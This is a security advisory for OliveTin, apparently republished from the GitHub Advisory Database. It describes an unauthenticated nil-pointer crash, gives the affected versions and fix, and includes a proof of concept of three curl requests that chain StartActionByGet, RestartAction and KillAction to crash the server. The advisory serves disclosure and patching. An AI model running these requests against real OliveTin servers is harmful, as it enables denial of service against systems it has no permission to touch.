GHSA-fwhj-785h-43hh: OliveTin has crash on NPE by calling APIs with invalid bindings or log references
Summary An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Published Mar 5, 2026
Affected packages
github.com/OliveTin/OliveTin
- Ecosystem
- Go
- Affected
- < 0.0.0-20260304225158-bb14c5da3e64
- Fixed in
- 0.0.0-20260304225158-bb14c5da3e64
- Check
go list -m github.com/OliveTin/OliveTin
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
- Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
- If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action: ```bash T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \ -H 'Content-Type: application/json' \ --data '{"actionId":"does-not-exist"}' \ | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p') echo "$T"
- Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"
- Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
### Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.Credited to maru1009.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-75506
OliveTin: Second-Order OS Command Injection via shellAfterCompleted
medium6.6Nov 18, 2026CVE-2026-67437
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
high7.5Jul 30, 2026CVE-2026-67438
OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
medium6.6Jul 30, 2026CVE-2026-67439
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
medium4.3Jul 30, 2026CVE-2026-48708
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
high7.5Jun 24, 2026CVE-2026-48709
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
low3.7Jun 24, 2026
